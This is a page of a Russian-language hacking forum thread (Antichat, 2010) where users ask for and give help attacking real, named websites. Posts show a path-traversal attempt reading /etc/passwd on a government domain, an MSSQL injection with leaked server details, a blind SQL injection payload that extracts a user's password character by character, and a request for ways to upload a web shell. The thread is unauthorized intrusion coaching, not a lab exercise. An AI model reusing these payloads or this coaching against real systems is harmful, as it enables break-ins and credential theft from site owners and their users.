ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1324 из 1393 « Первая < 324824122412741314 1320 1321 1322 1323 1324 1325 1326 1327 1328 13341374 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #13231  
Старый 17.05.2010, 13:35
Аватар для ZAV
ZAV
Новичок
Регистрация: 06.05.2010
Сообщений: 7
Провел на форуме:
16119

Репутация: 1
По умолчанию
вот урл:

http://mvd.gov.by/modules.php?name=../../../../../

ошибка такая:

Warning: file_exists() [function.file-exists]: open_basedir restriction in effect. File(modules/../../../../..//copyright.php) is not within the allowed path(s): (/hosting/mvd.gov.by/htdocs/) in /hosting/mvd.gov.by/htdocs/includes/javascript.php on line 59

вроде этого побывал:
../../../../../../../etc/passwd//////////////////[..4095..]
не пашет

что делать?
Последний раз редактировалось ZAV; 17.05.2010 в 13:39..
 
Ответить с цитированием

  #13232  
Старый 17.05.2010, 13:59
Аватар для warlok
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию
инклудить то что разрешено в open_basedir
 
Ответить с цитированием

  #13233  
Старый 17.05.2010, 16:38
Аватар для mr.celt
mr.celt
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423

Репутация: 32
По умолчанию
Цитата:
Сообщение от shell_c0de  
Есть скуля http://www.stockhouse.com/tools/?page=%2Fshfn%2Farticle%2Easp%3FedtID%3D18744'
mssql скуля но select режется =\ что можно предпринять еще ?
че-то у меня сомнения насчет SELECT..
@@version у тебя прокатило?
 
Ответить с цитированием

  #13234  
Старый 17.05.2010, 17:03
Аватар для [R]eD
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме:
94171

Репутация: 3
По умолчанию
Имеется сайт, в нем скуля в .... ORDER BY $id

Переборка запроса вроде
Код:
(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
работает.

Вопрос: как в таком случае использовать (UNION) SELECT? Или любой другой способ сделать выборку из бд?
 
Ответить с цитированием

  #13235  
Старый 17.05.2010, 17:05
Аватар для b82a
b82a
Участник форума
Регистрация: 07.02.2010
Сообщений: 111
Провел на форуме:
619439

Репутация: 127
Отправить сообщение для b82a с помощью ICQ
По умолчанию
Цитата:
Сообщение от [R]eD  
Имеется сайт, в нем скуля в .... ORDER BY $id

Переборка запроса вроде
Код:
(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
работает.

Вопрос: как в таком случае использовать (UNION) SELECT? Или любой другой способ сделать выборку из бд?
Ссылку в студию
 
Ответить с цитированием

  #13236  
Старый 17.05.2010, 17:07
Аватар для [R]eD
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме:
94171

Репутация: 3
По умолчанию
Цитата:
Сообщение от b82a  
Ссылку в студию
К сожалению дать не могу, но тут и так все ясно...
Запрос там вида SELECT .... FROM .... ORDER BY $id
$id - не фильтрауется.
 
Ответить с цитированием

  #13237  
Старый 17.05.2010, 17:35
Аватар для warlok
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию
[R]eD, вместо user() запрос свой вставляй, типа select+table+where+id='5' только в () запрос возьми
 
Ответить с цитированием

  #13238  
Старый 17.05.2010, 17:35
Аватар для mr.celt
mr.celt
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423

Репутация: 32
По умолчанию
Цитата:
Сообщение от [R]eD  
Имеется сайт, в нем скуля в .... ORDER BY $id

Переборка запроса вроде
Код:
(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
работает.

Вопрос: как в таком случае использовать (UNION) SELECT? Или любой другой способ сделать выборку из бд?
Все достаточно просто: с помощью подзапросов, вместо user() подставляешь запрос типа (SELECT+password+FROM+users+WHERE+userid='1') и таким образом запрос получается такой:
(id*IF(ASCII(SUBSTRING((SELECT+password+FROM+users +WHERE+userid='1'),1,1))=113,1,-1)), а далее посимвольно перебираешь остальную часть пароля
 
Ответить с цитированием

  #13239  
Старый 17.05.2010, 18:19
Аватар для shell_c0de
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию
Цитата:
Сообщение от mr.celt  
че-то у меня сомнения насчет SELECT..
@@version у тебя прокатило?
Извращаясь вот что удалось вывести ...
VersionMicrosoft SQL Server 2005 - 9.00.3042.00 (X64)
Feb 10 2007 00:59:02
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)
DbStocks
ServerE3S9\FT0
Userwebguestsql
PrivilegePublic
дальше ничего не получается =\
Последний раз редактировалось shell_c0de; 17.05.2010 в 18:38..
 
Ответить с цитированием

  #13240  
Старый 17.05.2010, 18:21
Аватар для Failure
Failure
Участник форума
Регистрация: 21.09.2008
Сообщений: 148
Провел на форуме:
678893

Репутация: 102
По умолчанию
Интересуют методы заливки шелла на WebAsyst (v.2.4.7)
 
Ответить с цитированием
Ответ
Страница 1324 из 1393 « Первая < 324824122412741314 1320 1321 1322 1323 1324 1325 1326 1327 1328 13341374 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ